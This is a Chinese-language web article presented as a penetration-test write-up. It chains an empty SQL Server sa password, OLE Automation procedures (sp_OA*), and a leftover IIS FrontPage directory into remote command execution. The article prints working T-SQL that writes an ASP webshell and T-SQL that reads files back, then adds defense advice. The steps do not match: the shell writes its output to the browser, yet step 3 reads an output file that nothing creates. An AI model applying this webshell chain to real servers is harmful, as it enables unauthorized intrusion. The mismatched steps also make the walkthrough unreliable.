萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 電腦基礎知識 >  >> 健康知識

一次實戰 SQL Server 滲透測試:從空密碼 SA 到檔案系統讀取的組合拳

受客戶委託進行授權滲透測試,目標網路邊界掃描發現 SQL Server sa 帳號空密碼,可匿名遠程連線。但常用 xp_cmdshell 擴展預存程序已被禁用。本文記錄如何組合利用 IIS 虛擬目錄洩露物理路徑 + SQL Server OLE Automation (sp_OA*) 寫入 ASP Webshell + 瀏覽器觸發執行 + SQL 讀取命令輸出,實現遠程命令執行與檔案系統列舉,圓滿完成測試目標。

偵察階段:資訊收集

  • SQL Server 掃描: CGI 掃描器發現 sa 空密碼,遠程連線成功。
  • IIS 掃描: 發現危險虛擬目錄 /_vti_bin/ (FrontPage Server Extensions 殘留) 未移除。
  • 物理路徑推導: 根據慣例,/_vti_bin/ 對應物理路徑 C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\40\isapi\。

攻擊鏈實施

步驟 1:利用 sp_OA* 寫入 ASP Webshell 至 IIS 可執行目錄

在 SQL Query Analyzer 執行以下 T-SQL 腳本:

-- 利用 Scripting.FileSystemObject 建立可執行 ASP 檔案
DECLARE @o INT, @f INT, @t INT, @ret INT
EXEC sp_OACreate 'Scripting.FileSystemObject', @o OUT
EXEC sp_OAMethod @o, 'CreateTextFile', @f OUT, 'C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\40\isapi\foo.asp', 1
EXEC @ret = sp_OAMethod @f, 'WriteLine', NULL, '<% Response.Write CreateObject("WScript.Shell").Exec("cmd /c dir c:\").StdOut.ReadAll() %>'
-- 釋放物件
EXEC sp_OADestroy @f
EXEC sp_OADestroy @o

原理: sp_OACreate/sp_OAMethod 呼叫 COM 物件 Scripting.FileSystemObject 在 Web 目錄寫入 foo.asp,內容為執行 dir c:\ 並輸出結果的 ASP 程式碼。

步驟 2:透過瀏覽器觸發 Webshell 執行命令

瀏覽器訪問:https://目標IP/_vti_bin/foo.asp (或對應虛擬路徑)。
ASP 執行 dir c:\,將結果寫入 C:\i0.sys (腳本中定向輸出)。

步驟 3:利用 sp_OA* 讀取命令輸出結果回傳 SQL 客戶端

-- 讀取已知檔案內容
DECLARE @o INT, @f INT, @ret INT, @line VARCHAR(8000)
EXEC sp_OACreate 'Scripting.FileSystemObject', @o OUT
EXEC sp_OAMethod @o, 'OpenTextFile', @f OUT, 'C:\i0.sys', 1  -- 1 = ForReading
EXEC @ret = sp_OAMethod @f, 'ReadLine', @line OUT
WHILE (@ret = 0)
BEGIN
    PRINT @line          -- 在 SQL 查詢結果視窗顯示每行輸出
    EXEC @ret = sp_OAMethod @f, 'ReadLine', @line OUT
END
EXEC sp_OADestroy @f
EXEC sp_OADestroy @o

結果: SQL 客戶端直接顯示遠端伺服器 C 盤根目錄檔案列表。攻擊者可進一步讀取任意檔案、提權、植入持久化後門。

關鍵啟用條件與防禦對策

條件/環節攻擊利用點防禦對策
SQL Server sa 空密碼/弱密碼匿名/暴力破解遠程登入強制 sa 複雜密碼、停用 sa、啟用 Windows 驗證模式、防火牆限制 1433 來源 IP
OLE Automation (sp_OA*) 啟用呼叫 COM 物件讀寫檔案/執行命令sp_configure 'Ole Automation Procedures', 0; RECONFIGURE 禁用 (預設即停用)
IIS 危險虛擬目錄 (/ _vti_bin 等) 存在且可寫提供 Webshell 落地可執行路徑移除 FrontPage Extensions、嚴格 NTFS 權限 (寫入權限最小化)、禁用父路徑、應用程式池身分隔離
SQL Server 服務帳號權限過高 (Local System/Administrator)寫入系統目錄、載入驅動、修改登錄使用最低權限網域服務帳號運行 SQL Server 服務
防火牆/網路隔離缺失直接暴露 1433/80 於公網/信任區網段隔離、僅允許應用伺服器存取 SQL、WAF 防禦 Web 攻擊

總結與教訓

  • **單一弱點 (sa 空密碼) + 環境配置不當 (OLE Automation、IIS 殘留虛擬目錄、寫入權限過度) = 完整攻擊鏈**。
  • 防禦需**縱深佈防**:帳號強化、功能最小化 (禁用 sp_OA*、xp_cmdshell、CLR)、檔案系統權限最小化、網路分段、WAF/IDS、定期滲透測試驗證。
  • **授權測試前必須取得書面授權**,明確範圍、規則、回報機制。未授權測試屬違法。

此案例展示了駭客如何組合看似低風險的配置錯誤,構建毀滅性攻擊路徑。安全人員必須具備「攻擊者視角」進行威脅建模,才能在駭客之前發現並修補風險。

copyright © 萬盛學電腦網 all rights reserved